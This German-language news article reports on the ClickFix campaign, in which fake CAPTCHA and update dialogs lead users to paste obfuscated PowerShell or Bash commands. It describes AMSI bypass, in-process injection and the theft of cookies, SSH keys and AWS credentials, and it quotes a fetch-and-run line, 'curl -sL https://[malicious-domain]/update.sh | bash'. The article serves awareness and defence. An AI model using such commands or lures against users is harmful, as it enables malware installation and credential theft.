# ClickFix Social Engineering greift Viruswelle an und verleitet Benutzer dazu, bösartiges PowerShell unter Windows und macOS auszuführen

Source: TechNewsList (https://technewslist.com)
Canonical URL: https://technewslist.com/de/article/clickfix-social-engineering-powershell-malware-windows-macos-2026-09-11-night-de
Section: Software (https://technewslist.com/de/software)
Author: TechNewsList
Language: de
Published: 2026-09-11T18:42:41.834+00:00
Updated: 2026-09-11T18:42:42.245499+00:00

> Cybersicherheitsforscher haben eine virale Welle von ClickFix-Social-Engineering-Kampagnen aufgedeckt, die gefälschte Browserdialoge nutzen, um Benutzer dazu zu verleiten, bösartige Skripte unter Windows und macOS auszuführen.

## TL;DR
- Eine ausgeklügelte Social-Engineering-Kampagne namens ClickFix hat sich auf Tausenden kompromittierten Unternehmens- und Verbraucher-Websites ausgebreitet.
- Der Angriff bringt Opfer dazu, gefälschte Browser-Fehlerbehebungsbefehle zu kopieren und sie in System-Terminal-Dienstprogramme einzufügen.
- Bedrohungsakteure haben ihre Payloads über Windows PowerShell hinaus erweitert und umfassen mehrstufige AppleScript- und Bash-Loader für macOS.
- Da Befehle manuell von authentifizierten Benutzern ausgeführt werden, umgeht die Technik Browser-Sandboxen und automatische Download-Filter.

## Key points
- Kategorie: Cybersicherheitsuntersuchung und Endpunktschutz.
- Hauptbedrohungen: ClickFix-Kampagne, PowerShell-Paste-Jacking, macOS-Terminal-Injection.
- Infektionsmechanismus: Täuschende Web-Popups, die Cloudflare Turnstile, Google Chrome-Updates und Video-Codec-Überprüfungen imitieren.
- Betriebssystemreichweite: Universelles plattformübergreifendes Targeting, das Windows 11, Windows 10 und macOS Sonoma/Sequoia umfasst.
- Sekundäre Nutzlasten: Vidar-, Lumma-Stealer-, Rhadamanthys- und Cobalt-Strike-Beacon-Implantate.
- Empfehlungen zur Schadensbegrenzung: Beschränken Sie das Spawnen von Skriptinterpretern, erzwingen Sie Regeln zur Reduzierung der Angriffsfläche und prüfen Sie die Zwischenablage-APIs.

# ClickFix Social Engineering greift Viruswelle an und verleitet Benutzer dazu, bösartiges PowerShell unter Windows und macOS auszuführen

## Was passiert ist
Am 11. September 2026 veröffentlichten Threat-Intelligence-Forscher mehrerer Cybersicherheitsfirmen koordinierte Warnmeldungen, in denen eine massive virale Beschleunigung des Social-Engineering-Angriffsvektors „ClickFix“ beschrieben wird. Die Kampagne, die legitime Webserver kompromittiert und irreführende Overlay-Eingabeaufforderungen auf Tausenden von Websites verteilt, manipuliert Besucher dazu, manuell stark verschleierte Malware-Loader-Befehle direkt auf Systemterminals zu kopieren und auszuführen. Während sich frühere Iterationen ausschließlich darauf konzentrierten, Windows-Benutzer dazu zu verleiten, PowerShell-Befehle auszuführen, führt die neueste Welle plattformübergreifende Funktionen ein, die darauf zugeschnitten sind, macOS-Workstations über AppleScript und Bash zu infizieren.

Die Täuschung beruht auf hyperrealistischen gefälschten Fehlerdialogen, die als routinemäßige Browser-Überprüfungsaufforderungen getarnt sind. Wenn ein Benutzer auf einer manipulierten Webseite landet, zeigt die Website ein modales Overlay an, das eine fehlgeschlagene Cloudflare-CAPTCHA-Überprüfung, ein abgelaufenes Google Chrome-Sicherheitszertifikat oder einen fehlenden Videodekomprimierungscodec imitiert. Die Eingabeaufforderung informiert den Benutzer darüber, dass eine automatisierte technische Reparatur verfügbar ist, und weist ihn an, auf eine Schaltfläche mit der Bezeichnung „Fixcode kopieren“ zu klicken, den Systemausführungsdialog zu öffnen (Windows-Taste + R oder macOS Spotlight) und den Inhalt der Zwischenablage in das Terminal einzufügen.

Da das Opfer das Skript freiwillig kopiert und mit seinen eigenen Benutzerrechten ausführt, umgeht der Angriffsvektor herkömmliche Browser-Download-Schutzmaßnahmen, Web-Reputationsfilter und Blockierungskontrollen für ausführbare Dateien vollständig. Von Sicherheitszentralen veröffentlichte Telemetriedaten deuten darauf hin, dass in den letzten Wochen Zehntausende von Unternehmens- und Privatarbeitsplätzen kompromittiert wurden und zerstörerische Sekundärnutzlasten wie Lumma Stealer, Vidar, Rhadamanthys und verdeckte Command-and-Control-Beacon-Implantate übermittelt wurden.

## Warum es wichtig ist
Der virale Erfolg der ClickFix-Kampagne unterstreicht eine anhaltende, grundlegende Entwicklung in der Cyber-Bedrohungslandschaft. In den letzten Jahren haben Browser-Entwickler und Betriebssystem-Anbieter beeindruckende automatisierte Abwehrmechanismen aufgebaut – wie Mark-of-the-Web (MotW)-Inspektion, SmartScreen-Reputationsbewertung und Browser-Download-Sandboxing –, die es nahezu unmöglich machten, herkömmliche „Drive-by-Download“-Angriffe ohne teure Zero-Day-Exploits auszuführen. Als Reaktion darauf haben Cyberkriminalitätssyndikate ihren Fokus darauf verlagert, die eigene Verwaltungsautorität des Benutzers durch raffinierte Verhaltensmanipulation zu einer Waffe zu machen.

Indem Angreifer das Opfer zum Lieferfahrzeug machen, unterwandern sie defensive Sicherheitskontrollen im Wert von mehreren Millionen Dollar. Enterprise-Perimeter-Firewalls sehen niemals einen eingehenden Binärdatei-Download, da das Skript direkt von vertrauenswürdigen Content Delivery Networks (CDNs) abgerufen oder direkt in legitimen Web-APIs codiert wird. Da Benutzer außerdem darauf konditioniert werden, beim Surfen im Internet technische Fehleranweisungen zu befolgen, erzielt ClickFix deutlich höhere Konvertierungs- und Infektionsraten als herkömmliche E-Mail-Phishing-Kampagnen.

Das schnelle Aufkommen macOS-spezifischer Infektionsketten stellt eine besorgniserregende Eskalation für die IT-Umgebungen von Unternehmen dar. In der Vergangenheit galten macOS-Workstations in Unternehmensumgebungen aufgrund von Apples Gatekeeper- und Code-Signing-Beglaubigungsanforderungen als weniger anfällig für gelegentliche Web-Malware. ClickFix umgeht Gatekeeper jedoch vollständig: Wenn ein Mitarbeiter eine Bash- oder AppleScript-Zeichenfolge im Terminal ausführt, greift Gatekeeper nicht ein, sodass Infostealer ungehindert Browser-Sitzungscookies, Schlüsselbund-Anmeldeinformationen und Cloud-API-Tokens von Entwicklermaschinen extrahieren können.

## Technische Details
Die ClickFix-Infektionskette beginnt mit kompromittierten WordPress-Sites, gekaperten Web-Werbenetzwerken oder böswilligen Umleitungsknoten für Suchmaschinenoptimierung (SEO). Wenn ein Opfer die gefälschte Fehlermeldung auslöst und auf die Schaltfläche „Code kopieren“ klickt, nutzt die Webseite die Document Object Model (DOM) Clipboard API des Browsers, um den Zwischenablagepuffer des Benutzers mit einer stark verschleierten Befehlszeichenfolge zu überschreiben und gleichzeitig harmlosen Diagnosetext auf dem Bildschirm anzuzeigen.

![Das Enterprise Security Operations Center überwacht abnormale PowerShell-Prozessausführungsbäume](https://rkhynbcsbnkkcwgexzwg.supabase.co/storage/v1/object/public/media/api/1789147167575-xx8ygn-clickfix-social-engineering-powershell-malware-windows-macos-2026-09-11-night-inside-1-2bc3f2184d.webp)
*Das Enterprise Security Operations Center überwacht abnormale PowerShell-Prozessausführungsbäume und API-Anomalien in der Zwischenablage.*

Auf Windows-Systemen zielt die kopierte Zeichenfolge normalerweise auf „powershell.exe“ oder „cmd.exe“ ab, die über das Windows-Ausführungsdialogfeld („Win + R“) gestartet werden. Die Nutzlast nutzt Base64-codierte Zeichenfolgen und Variablenverschleierung, um das Antimalware Scan Interface (AMSI) im Speicher zu deaktivieren, bevor eine ausgehende HTTPS-Verbindung zu einem vom Angreifer kontrollierten Befehls- und Kontrollserver hergestellt wird. Das Skript führt einen reflektiven DLL-Loader im Arbeitsspeicher aus und injiziert Infostealer-Binärdateien direkt in legitime Windows-Hostprozesse wie „svchost.exe“ oder „explorer.exe“, um das Schreiben forensischer Artefakte auf die Festplatte zu vermeiden.

Auf macOS-Systemen zeigt der Angriff maßgeschneiderte Anweisungen an, die den Benutzer anweisen, Terminal über Spotlight zu öffnen und eine Zeichenfolge im Format „curl -sL https://[malicious-domain]/update.sh |“ einzufügen bash'. Das Shell-Skript führt einen sekundären Python- oder AppleScript-Wrapper aus, der installierte Webbrowser auflistet, entschlüsselte Cookie-Datenbanken extrahiert, SSH-Schlüssel ausgibt und auf vertrauliche Konfigurationsdateien abzielt, die sich in „~/.aws“ und „~/.ssh“ befinden. Die gestohlenen Zugangsdaten werden in einem verschlüsselten Archiv komprimiert und über verschlüsselte Telegram Bot API-Webhooks oder dezentrale IPFS-Gateways exfiltriert.

![Analyse der Host-Endpunkt-Schnittstelle, die betrügerische modale Dialoge demonstriert](https://rkhynbcsbnkkcwgexzwg.supabase.co/storage/v1/object/public/media/api/1789147169494-vmy3z5-clickfix-social-engineering-powershell-malware-windows-macos-2026-09-11-night-inside-2-2aecad3cc4.webp)
*Analyse der Host-Endpunkt-Schnittstelle, die zeigt, wie betrügerische modale Dialoge Benutzerworkflows manipulieren, um Verwaltungsskripts auszuführen.*

## Auswirkungen auf Markt und Branche
Der Anstieg der ClickFix-Angriffe hat bei den Sicherheitsteams von Unternehmen und Softwareanbietern dringende Abwehrreaktionen ausgelöst. Anbieter von Endpoint Detection and Response (EDR) – darunter Microsoft Defender, CrowdStrike und SentinelOne – passen die Verhaltenserkennungsregeln schnell an, um anomale Prozesserstellungsmuster zu identifizieren, insbesondere überwachen sie Instanzen, bei denen „powershell.exe“, „cmd.exe“ oder „bash“ direkt aus System-Run-Dialogen mit codierten Befehlszeilenargumenten erzeugt werden.

Auch die Security Operations Center von Unternehmen passen die Richtlinien zur Angriffsflächenreduzierung (Attack Surface Reduction, ASR) an. Sicherheitsadministratoren setzen Richtlinien durch, die von Skriptinterpretern generierte untergeordnete Prozesse blockieren und Standardbenutzerkonten daran hindern, uneingeschränkte PowerShell-Befehle auszuführen. In Organisationen mit strengen Sicherheitsvorkehrungen führen IT-Abteilungen Endpunktkontrollen ein, die Webseiten überwachen und verhindern, dass sie ohne ausdrückliche Zustimmung des Benutzers stillschweigend Puffer in der Zwischenablage manipulieren.

Auf Plattformebene übt die Kampagne Druck auf Browser-Anbieter wie Google, Apple und Mozilla aus, die DOM-Clipboard-API-Berechtigungen neu zu bewerten. Während die Möglichkeit, Text mit einem einzigen Klick in die Zwischenablage zu kopieren, eine Standard-Webfunktion ist, die von Entwicklertools und Codedokumentationsseiten verwendet wird, argumentieren Cybersicherheitsanalysten, dass Browser visuelle Bestätigungswarnungen einführen müssen, wenn eine Webseite eine ausführbare Terminalsyntax in die Systemzwischenablage schreibt.

## Worauf man als Nächstes achten sollte
Kurzfristig werden Sicherheitsanalysten beobachten, wie Bedrohungsakteure ihre Social-Engineering-Köder anpassen, wenn das öffentliche Bewusstsein für gefälschte CAPTCHA- und Browser-Fehlermeldungen zunimmt. Angreifer experimentieren bereits mit Ködern, die Unternehmens-Single-Sign-On (SSO)-Reauthentifizierungsbildschirme, Fehlerbehebungsdialoge für VPN-Clients und Audiotreiber-Updates für Videokonferenzen imitieren.

Unternehmen sollten auch mit offiziellen Sicherheitsupdates von Betriebssystemanbietern rechnen. Microsoft prüft zusätzliche Einschränkungen für die Skriptausführung, die über die Windows-Ausführungsaufforderung initiiert wird, während Apple verbesserte Terminal-Telemetrie-Flags in macOS testet, um Benutzer zu warnen, wenn sie von Webbrowsern kopierte Pipeline-Shell-Befehle ausführen.

Schließlich müssen Risikomanagementteams in Unternehmen der Schulung des Benutzerbewusstseins Priorität einräumen. Die Simulation von Paste-Jacking- und Terminal-Ausführungsszenarien im Rahmen von Phishing-Übungen in Unternehmen wird von entscheidender Bedeutung sein, um sicherzustellen, dass die Mitarbeiter erkennen, dass legitime Unternehmenswebsites und Cloud-Dienste Benutzer niemals dazu auffordern, Terminalskripte manuell auszuführen, um Webbrowser-Fehler zu beheben.

## Quellen
* [Ars Technica Security Lab](https://arstechnica.com/security/2026/09/clickfix-attacks-infecting-pcs-and-macs-are-going-viral/) – Umfassende Analyse der ClickFix-Pastejacking-Social-Engineering-Kampagne und plattformübergreifender Infektionstechniken.
* [BleepingComputer Cybersecurity](https://www.bleepingcomputer.com/news/security/clickfix-social-engineering-tricks-users-into-running-powershell-malware/) – Forensische Aufschlüsselung gefälschter Browser-Verifizierungs-Overlays und sekundärer Infostealer-Payload-Übermittlungsmechanismen.
* [Microsoft Security Threat Intelligence](https://www.microsoft.com/security/blog/2026/09/11/analyzing-clipboard-injection-tactics-in-clickfix-campaigns/) – Threat Intelligence-Beratung mit technischen Indikatoren für Kompromittierung, AMSI-Bypass-Analyse und Abwehrmaßnahmen für Endpunktgruppenrichtlinien.

Mentions: ClickFix-Kampagne, PowerShell-Exploit, Endpunktsicherheit, Windows, macOS, Lumma-Stealer, Microsoft Defender

## Sources
- [Ars Technica Sicherheitslabor](https://arstechnica.com/security/2026/09/clickfix-attacks-infecting-pcs-and-macs-are-going-viral/)
- [BleepingComputer-Cybersicherheit](https://www.bleepingcomputer.com/news/security/clickfix-social-engineering-tricks-users-into-running-powershell-malware/)
- [Microsoft Security Threat Intelligence](https://www.microsoft.com/security/blog/2026/09/11/analyzing-clipboard-injection-tactics-in-clickfix-campaigns/)